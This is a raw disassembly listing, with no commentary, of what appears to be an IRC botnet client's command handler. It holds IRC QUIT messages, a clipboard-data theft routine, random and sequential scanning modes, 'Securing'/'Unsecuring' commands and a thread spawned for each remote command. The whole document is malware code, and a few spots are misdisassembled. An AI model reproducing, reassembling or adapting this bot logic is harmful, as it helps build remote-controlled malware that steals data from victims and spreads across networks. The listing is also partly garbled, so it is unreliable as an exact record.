		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_413150
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_413450
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_40E4C5


loc_40E4A3:				; CODE XREF: seg000:0040E4C3j
		cmp	eax, ebx
		jz	short loc_40E4C5
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_413450
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40E4A3


loc_40E4C5:				; CODE XREF: seg000:0040E4A1j
					; seg000:0040E4A5j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp-4]
		mov	[ebp-320h], eax
		mov	eax, [ebp-8]
		mov	edi, 80h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		mov	dword ptr [ebp-2F0h], 1
		mov	[ebp-2F8h], esi
		call	sub_411EDA
		push	offset byte_430AD0
		push	offset dword_424424
		call	sub_411D80
		add	esp, 14h
		test	eax, eax
		jz	short loc_40E52F
		push	offset dword_424424
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 0Ch
		jmp	short loc_40E535
; ---------------------------------------------------------------------------


loc_40E52F:				; CODE XREF: seg000:0040E516j
		mov	[ebp-3A0h], bl


loc_40E535:				; CODE XREF: seg000:0040E52Dj
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40E547
		mov	eax, offset aSequential	; "Sequential"


loc_40E547:				; CODE XREF: seg000:0040E540j
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42BDA4
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	8
		push	eax
		call	sub_41140F
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_406142
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40E5D1


loc_40E5BF:				; CODE XREF: seg000:0040E5CFj
		cmp	[ebp-2ECh], ebx
		jnz	short loc_40E5EC
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40E5BF
; ---------------------------------------------------------------------------


loc_40E5D1:				; CODE XREF: seg000:0040E5BDj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42CD0C
		push	eax
		call	sub_411963
		add	esp, 0Ch


loc_40E5EC:				; CODE XREF: seg000:0040E5C5j
		cmp	[ebp-8], ebx
		jnz	short loc_40E60B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	esi
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h


loc_40E60B:				; CODE XREF: seg000:0040E5EFj
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_408CFE
		pop	ecx


loc_40E618:				; CODE XREF: seg000:0040E3ADj
		add	dword ptr [ebp+20h], 0Bh
		mov	eax, [ebp+20h]
		cmp	[eax], bl
		jnz	loc_40E363
		jmp	loc_40A60B
; ---------------------------------------------------------------------------


loc_40E62C:				; CODE XREF: seg000:0040CA60j
					; seg000:0040E429j
		push	offset dword_42BD58
		jmp	loc_40EA1D
; ---------------------------------------------------------------------------


loc_40E636:				; CODE XREF: seg000:0040B5E9j
					; seg000:0040B5FEj
		push	4
		call	sub_411657
		test	eax, eax
		pop	ecx
		jle	short loc_40E65A
		lea	eax, [ebp-2E4h]
		push	offset unk_42BD24
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		jmp	loc_40D5EC
; ---------------------------------------------------------------------------


loc_40E65A:				; CODE XREF: seg000:0040E640j
		mov	eax, [ebp+esi-90h]
		cmp	eax, ebx
		jz	short loc_40E67D
		push	eax
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 0Ch
		jmp	short loc_40E691
; ---------------------------------------------------------------------------


loc_40E67D:				; CODE XREF: seg000:0040E663j
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 0A70000h
		popa


loc_40E691:				; CODE XREF: seg000:0040E67Bj
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jnz	short loc_40E6A1
		mov	esi, offset byte_4243E0


loc_40E6A1:				; CODE XREF: seg000:0040E69Aj
		push	esi
		lea	eax, [ebp-700h]
		push	edi
		push	eax
		call	sub_411EDA
		mov	eax, ds:dword_424368
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-5F4h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-5F8h], ebx
		mov	[ebp-808h], eax
		lea	eax, [ebp-5F0h]
		push	eax
		call	sub_413150
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-700h]
		push	eax
		lea	eax, [ebp-804h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-5F4h]
		push	offset unk_421454
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	4
		push	eax
		call	sub_41140F
		add	esp, 38h
		mov	[ebp-5FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-808h]
		push	ebx
		push	eax
		push	offset sub_4053E1
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-5FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40E771


loc_40E75B:				; CODE XREF: seg000:0040E76Fj
		cmp	[ebp-568h], ebx
		jnz	loc_40D5EC
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40E75B
; ---------------------------------------------------------------------------


loc_40E771:				; CODE XREF: seg000:0040E759j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BCD8
		jmp	loc_40F1C4
; ---------------------------------------------------------------------------


loc_40E782:				; CODE XREF: seg000:0040B5BFj
					; seg000:0040B5D4j
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_40E7A1
		push	edi
		call	sub_411ECF
		test	eax, eax
		pop	ecx
		jz	short loc_40E7A1
		push	edi
		call	sub_411ECF
		pop	ecx
		jmp	short loc_40E7A6
; ---------------------------------------------------------------------------


loc_40E7A1:				; CODE XREF: seg000:0040E78Bj
					; seg000:0040E796j
		mov	eax, ds:dword_42436C


loc_40E7A6:				; CODE XREF: seg000:0040E79Fj
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-584h], eax
		xor	eax, eax
		cmp	[ebp-9B0h], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-570h], eax
		jz	short loc_40E7D9
		lea	eax, [ebp-688h]
		push	esi
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		jmp	short loc_40E804
; ---------------------------------------------------------------------------


loc_40E7D9:				; CODE XREF: seg000:0040E7C6j
		lea	eax, [ebp-3E8h]
		push	104h
		push	eax
		call	near ptr 0A70000h
; ---------------------------------------------------------------------------
		dw 53FEh
; ---------------------------------------------------------------------------
		push	ebx
		lea	eax, [ebp-0D4h]
		push	ebx
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		call	sub_413638
		add	esp, 14h


loc_40E804:				; CODE XREF: seg000:0040E7D7j
		lea	eax, [ebp-688h]
		push	eax
		call	sub_411FB0
		cmp	byte ptr [ebp+eax-689h], 5Ch
		pop	ecx
		jnz	short loc_40E82F
		lea	eax, [ebp-688h]
		push	eax
		call	sub_411FB0
		pop	ecx
		mov	[ebp+eax-689h],	bl


loc_40E82F:				; CODE XREF: seg000:0040E819j
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-910h]
		mov	[ebp-914h], esi
		push	80h
		push	eax
		call	sub_411EDA
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-688h]
		mov	[ebp-578h], edi
		push	eax
		push	dword ptr [ebp-584h]
		push	esi
		call	sub_407F2C
		pop	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_421324
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	3
		push	eax
		call	sub_41140F
		add	esp, 20h
		mov	[ebp-57Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-914h]
		push	ebx
		push	eax
		push	offset sub_4042C6
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-57Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40E8E3


loc_40E8D1:				; CODE XREF: seg000:0040E8E1j
		cmp	[ebp-568h], ebx
		jnz	short loc_40E8FE
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40E8D1
; ---------------------------------------------------------------------------


loc_40E8E3:				; CODE XREF: seg000:0040E8CFj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BC8C


loc_40E8EF:				; CODE XREF: seg000:0040CF7Aj
					; seg000:0040D074j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		add	esp, 0Ch


loc_40E8FE:				; CODE XREF: seg000:0040CF5Ej
					; seg000:0040D058j ...
		cmp	[ebp-8], ebx
		jnz	loc_40C3FB
		push	ebx
		push	edi


loc_40E909:				; CODE XREF: seg000:0040C826j
		lea	eax, [ebp-2E4h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	esi
		jmp	loc_40C3F3
; ---------------------------------------------------------------------------


loc_40E91C:				; CODE XREF: seg000:0040B595j
					; seg000:0040B5AAj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40E92F
		push	esi
		call	sub_411ECF
		jmp	short loc_40E936
; ---------------------------------------------------------------------------


loc_40E92F:				; CODE XREF: seg000:0040E925j
		push	8
		call	sub_411676


loc_40E936:				; CODE XREF: seg000:0040E92Dj
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F247
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4059A2


loc_40E951:				; CODE XREF: seg000:0040EDD0j
		add	esp, 10h
		jmp	loc_40F247
; ---------------------------------------------------------------------------


loc_40E959:				; CODE XREF: seg000:0040B56Bj
					; seg000:0040B580j
		mov	eax, ds:dword_431DB8
		cmp	eax, ebx
		jz	short loc_40E976
		call	eax ; dword_431DB8
		test	eax, eax
		jz	short loc_40E96F
		push	offset unk_42BC54
		jmp	short loc_40E98B
; ---------------------------------------------------------------------------


loc_40E96F:				; CODE XREF: seg000:0040E966j
		push	offset unk_42BC14
		jmp	short loc_40E98B
; ---------------------------------------------------------------------------


loc_40E976:				; CODE XREF: seg000:0040E960j
		push	offset unk_42BBD4
		jmp	short loc_40E98B
; ---------------------------------------------------------------------------


loc_40E97D:				; CODE XREF: seg000:0040B541j
					; seg000:0040B556j
		call	sub_407E4E
		test	eax, eax
		jz	short loc_40E9A1
		push	offset unk_42BB9C


loc_40E98B:				; CODE XREF: seg000:0040E96Dj
					; seg000:0040E974j ...
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_411EDA
		jmp	loc_40D83C
; ---------------------------------------------------------------------------


loc_40E9A1:				; CODE XREF: seg000:0040E984j
		push	offset unk_42BB5C
		jmp	short loc_40E98B
; ---------------------------------------------------------------------------


loc_40E9A8:				; CODE XREF: seg000:0040B517j
					; seg000:0040B52Cj
		cmp	[ebp-8], ebx
		jnz	short loc_40E9C7
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h


loc_40E9C7:				; CODE XREF: seg000:0040E9ABj
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_407A4D
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		push	offset dword_42BB18
		jmp	loc_40EC9F
; ---------------------------------------------------------------------------


loc_40E9E9:				; CODE XREF: seg000:0040B437j
					; seg000:0040B44Cj
		push	7
		call	sub_411657
		test	eax, eax
		pop	ecx
		jle	short loc_40E9FC
		push	offset dword_42BADC
		jmp	short loc_40EA1D
; ---------------------------------------------------------------------------


loc_40E9FC:				; CODE XREF: seg000:0040E9F3j
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	loc_4085B8
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40EA18
		push	offset dword_42BAA0
		jmp	short loc_40EA1D
; ---------------------------------------------------------------------------


loc_40EA18:				; CODE XREF: seg000:0040EA0Fj
		push	offset dword_42BA6C


loc_40EA1D:				; CODE XREF: seg000:0040C5C3j
					; seg000:0040C6F3j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		jmp	loc_40C3DA
; ---------------------------------------------------------------------------


loc_40EA30:				; CODE XREF: seg000:0040B40Dj
					; seg000:0040B422j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40743A
		jmp	loc_40ECBD
; ---------------------------------------------------------------------------


loc_40EA49:				; CODE XREF: seg000:0040B3E3j
					; seg000:0040B3F8j
		push	dword ptr [ebp+esi-90h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_409850
		jmp	loc_40ECBD
; ---------------------------------------------------------------------------


loc_40EA66:				; CODE XREF: seg000:0040B3B9j
					; seg000:0040B3CEj
		or	edi, 0FFFFFFFFh
		call	ds:dword_41D044	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_40EA8F
		push	esi
		call	sub_411ECF
		pop	ecx
		mov	edi, eax


loc_40EA8F:				; CODE XREF: seg000:0040EA84j
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40EAA8
		cmp	edi, 0FFFFFFFFh
		jnz	loc_40F247


loc_40EAA8:				; CODE XREF: seg000:0040EA9Dj
		push	ebx
		call	sub_40876D
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42BA40
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_408CFE
		jmp	loc_40CDAF
; ---------------------------------------------------------------------------


loc_40EAEA:				; CODE XREF: seg000:0040B38Fj
					; seg000:0040B3A4j
		push	1Eh
		call	sub_411657
		test	eax, eax
		pop	ecx
		jle	short loc_40EB1E
		cmp	[ebp-8], ebx
		jnz	loc_40A60B
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42BA0C
		push	dword ptr [ebp-8Ch]


loc_40EB0E:				; CODE XREF: seg000:0040AA19j
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h
		jmp	loc_40A60B
; ---------------------------------------------------------------------------


loc_40EB1E:				; CODE XREF: seg000:0040EAF4j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_411EDA
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		mov	[ebp-458h], ebx
		jz	short loc_40EB7F
		push	esi
		push	offset aFull	; "full"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EB7F
		mov	dword ptr [ebp-458h], 1


loc_40EB7F:				; CODE XREF: seg000:0040EB62j
					; seg000:0040EB73j
		lea	eax, [ebp-2E4h]
		push	offset dword_42B9D0
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1Eh
		push	eax
		call	sub_41140F
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_41069D
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40EBED


loc_40EBD7:				; CODE XREF: seg000:0040EBEBj
		cmp	[ebp-44Ch], ebx
		jnz	loc_40C3FB
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40EBD7
; ---------------------------------------------------------------------------


loc_40EBED:				; CODE XREF: seg000:0040EBD5j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B980


loc_40EBF9:				; CODE XREF: seg000:0040F119j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		add	esp, 0Ch
		jmp	loc_40C3FB
; ---------------------------------------------------------------------------


loc_40EC0D:				; CODE XREF: seg000:0040B365j
					; seg000:0040B37Aj
		cmp	[ebp-8], ebx
		jnz	short loc_40EC2C
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42B954
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h


loc_40EC2C:				; CODE XREF: seg000:0040EC10j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431F28
		call	ds:dword_431DF0
		call	loc_407BD0
		push	ebx
		call	ds:dword_41D104	; ExitProcess


loc_40EC47:				; CODE XREF: seg000:0040B33Bj
					; seg000:0040B350j
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40888C
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		push	offset dword_42B928
		jmp	short loc_40EC9F
; ---------------------------------------------------------------------------


loc_40EC72:				; CODE XREF: seg000:0040B311j
					; seg000:0040B326j
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_408B40
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		push	offset dword_42B8FC


loc_40EC9F:				; CODE XREF: seg000:0040E9E4j
					; seg000:0040EC70j
		call	sub_408CFE
		jmp	loc_40DAD0
; ---------------------------------------------------------------------------


loc_40ECA9:				; CODE XREF: seg000:0040B2E7j
					; seg000:0040B2FCj
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_408D9E


loc_40ECBD:				; CODE XREF: seg000:0040A555j
					; seg000:0040EA44j ...
		add	esp, 10h
		jmp	loc_40A60B
; ---------------------------------------------------------------------------


loc_40ECC5:				; CODE XREF: seg000:0040B2BDj
					; seg000:0040B2D2j
		cmp	[ebp-0Ch], ebx
		mov	[ebp-374h], bl
		jz	short loc_40ED04
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40ED04
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40ED04
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp-374h]
		push	80h
		push	eax
		call	sub_411EDA
		add	esp, 10h


loc_40ED04:				; CODE XREF: seg000:0040ECCEj
					; seg000:0040ECD9j ...
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-3F4h]
		push	80h
		push	eax
		call	sub_411EDA
		mov	eax, [ebp+0Ch]
		push	offset dword_42B8D0
		mov	[ebp-3F8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1Ch
		push	eax
		call	sub_41140F
		add	esp, 20h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F8h]
		push	ebx
		push	eax
		push	offset sub_408DDE
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40EDA4


loc_40ED8E:				; CODE XREF: seg000:0040EDA2j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40A60B
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40ED8E
; ---------------------------------------------------------------------------


loc_40EDA4:				; CODE XREF: seg000:0040ED8Cj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B884
		jmp	loc_40F3CE
; ---------------------------------------------------------------------------


loc_40EDB5:				; CODE XREF: seg000:0040B293j
					; seg000:0040B2A8j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_408C86
		push	offset dword_42B858
		call	sub_408CFE
		jmp	loc_40E951
; ---------------------------------------------------------------------------


loc_40EDD5:				; CODE XREF: seg000:0040B269j
					; seg000:0040B27Ej
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_411EDA
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jz	short loc_40EE2F
		push	offset dword_42B854
		push	esi
		call	sub_411D80
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-458h], eax
		jmp	short loc_40EE35
; ---------------------------------------------------------------------------


loc_40EE2F:				; CODE XREF: seg000:0040EE13j
		mov	[ebp-458h], ebx


loc_40EE35:				; CODE XREF: seg000:0040EE2Dj
		lea	eax, [ebp-2E4h]
		push	offset dword_42B824
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1Fh
		push	eax
		call	sub_41140F
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset word_41147A
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40EE9F


loc_40EE8D:				; CODE XREF: seg000:0040EE9Dj
		cmp	[ebp-44Ch], ebx
		jnz	short loc_40EEBA
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40EE8D
; ---------------------------------------------------------------------------


loc_40EE9F:				; CODE XREF: seg000:0040EE8Bj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B7D8


loc_40EEAB:				; CODE XREF: seg000:0040DF16j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		add	esp, 0Ch


loc_40EEBA:				; CODE XREF: seg000:0040C33Fj
					; seg000:0040C361j ...
		lea	eax, [ebp-2E4h]
		push	eax
		jmp	loc_40B4FD
; ---------------------------------------------------------------------------


loc_40EEC6:				; CODE XREF: seg000:0040B1EDj
					; seg000:0040B202j
		push	offset aIds443vbq ; "ids443vbq"
		lea	eax, [ebp-2E4h]
		push	offset dword_42B7AC
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 20h
		jmp	loc_40D875
; ---------------------------------------------------------------------------


loc_40EEFD:				; CODE XREF: seg000:0040B1C3j
					; seg000:0040B1D8j
		push	ds:dword_460310
		call	sub_40876D
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42B76C
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 24h
		jmp	loc_40D875
; ---------------------------------------------------------------------------


loc_40EF3B:				; CODE XREF: seg000:0040B199j
					; seg000:0040B1AEj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40EF6D
		cmp	[ebp-0Ch], ebx
		jz	short loc_40EF7C
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40EF7C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		add	esp, 0Ch
		jmp	short loc_40EF7C
; ---------------------------------------------------------------------------


loc_40EF6D:				; CODE XREF: seg000:0040EF44j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		pop	ecx
		pop	ecx


loc_40EF7C:				; CODE XREF: seg000:0040EF49j
					; seg000:0040EF58j ...
		push	0FFFFFFFEh
		jmp	loc_40A60D
; ---------------------------------------------------------------------------


loc_40EF83:				; CODE XREF: seg000:0040B16Fj
					; seg000:0040B184j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	offset dword_42B718
		call	sub_408CFE
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40A60E
; ---------------------------------------------------------------------------


loc_40EFA5:				; CODE XREF: seg000:0040B145j
					; seg000:0040B15Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	offset dword_42B6D4
		call	sub_408CFE
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40A60E
; ---------------------------------------------------------------------------


loc_40EFC6:				; CODE XREF: seg000:0040B11Bj
					; seg000:0040B130j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4058D8
		jmp	loc_40DA39
; ---------------------------------------------------------------------------


loc_40EFDC:				; CODE XREF: seg000:0040B076j
					; seg000:0040B08Bj
		push	dword ptr [ebp+esi-90h]
		push	1Eh
		push	offset dword_42B6C4
		push	offset dword_42B6B8
		jmp	short loc_40F004
; ---------------------------------------------------------------------------


loc_40EFF1:				; CODE XREF: seg000:0040B04Cj
					; seg000:0040B061j
		push	dword ptr [ebp+esi-90h]
		push	1Bh
		push	offset dword_42B6AC
		push	offset dword_42B69C


loc_40F004:				; CODE XREF: seg000:0040AEF0j
					; seg000:0040AF19j ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_41169D
		add	esp, 20h
		jmp	loc_40A60B
; ---------------------------------------------------------------------------


loc_40F020:				; CODE XREF: seg000:0040AE87j
					; seg000:0040AE9Cj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F048
		push	edi
		push	offset aSec	; "sec"
		call	sub_411D80
		pop	ecx
		mov	[ebp-458h], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F052


loc_40F048:				; CODE XREF: seg000:0040F02Fj
		mov	dword ptr [ebp-458h], 1


loc_40F052:				; CODE XREF: seg000:0040F046j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_411EDA
		mov	eax, [ebp+0Ch]
		add	esp, 0Ch
		cmp	[ebp-458h], ebx
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40F099
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40F099:				; CODE XREF: seg000:0040F092j
		push	eax
		push	offset dword_42B64C
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_411EDA
		push	ebx
		lea	eax, [ebp-2E4h]
		push	19h
